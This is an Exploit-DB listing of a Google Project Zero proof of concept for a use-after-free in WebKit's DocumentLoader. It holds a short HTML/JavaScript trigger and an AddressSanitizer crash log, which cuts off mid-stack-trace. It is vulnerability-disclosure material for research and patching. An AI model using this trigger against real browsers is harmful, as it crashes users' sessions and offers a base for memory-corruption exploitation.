Exploit-DB #43174
Description: WebKit - 'WebCore::DocumentLoader::frameLoader' Use-After-Free
Type: dos
Platform: multiple
Date: 2017-11-22
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1353

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function go() {
  iframe.name = "foo";
  var form = document.createElement("form");
  iframe.src = "data:text/html,foo";
  form.submit();
  window.onbeforeunload = f;
}
function f() {
  document.head.appendChild(del);
}

</script>
<body onload=go()>
<del id="del">
<iframe id="iframe"></iframe>

<!--
=================================================================

ASan log:

=================================================================
==689==ERROR: AddressSanitizer: heap-use-after-free on address 0x[PII_REDACTED]c8 at pc 0x000114c94a57 bp 0x7fff4fc33210 sp 0x7fff4fc33208
READ of size 8 at 0x[PII_REDACTED]c8 thread T0
==689==WARNING: invalid path to external symbolizer!
==689==WARNING: Failed to use and restart external symbolizer!
    #0 0x114c94a56 in WTF::UniqueRef<WebCore::FrameLoader>::get() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x45a56)
    #1 0x1154657ad in WebCore::DocumentLoader::frameLoader() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8167ad)
    #2 0x115466208 in WebCore::DocumentLoader::mainReceivedError(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x817208)
    #3 0x1154672cc in WebCore::DocumentLoader::cancelMainResourceLoad(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8182cc)
    #4 0x115469d2b in WebCore::DocumentLoader::stopLoadingForPolicyChange() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81ad2b)
    #5 0x11546a995 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81b995)
    #6 0x1108c81b5 in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForResponse(WebCore::ResourceResponse const&, WebCore::ResourceRequest const&, WTF::Function<void (WebCore::PolicyAction)>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x77e1b5)
    #7 0x115468e8a in WebCore::DocumentLoader::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x819e8a)
    #8 0x114edcdb7 in WebCore::CachedRawResource::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28ddb7)
    #9 0x1179b42a2 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d652a2)
    #10 0x1175da5da in auto WebCore::ResourceLoader::loadDataURL()::$_0::operator()<std::optional<WebCore::DataURLDecoder::Result> >(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298b5da)
    #11 0x1175d9fba in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::CallableWrapper<WebCore::ResourceLoader::loadDataURL()::$_0>::call(std::optional<WebCore::DataURLDecoder::Result>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298afba)
    #12 0x11535729a in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::operator()(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70829a)
    #13 0x11535709b in WebCore::DataURLDecoder::DecodingResultDispatcher::timerFired() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70809b)
    #14 0x1237d767d in WTF::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d2467d)
    #15 0x7fff8c5dfc53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #16 0x7fff8c5df8de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #17 0x7fff8c5df439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #18 0x7fff8c5d6b80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #19 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #20 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #21 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #22 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #23 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #24 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Version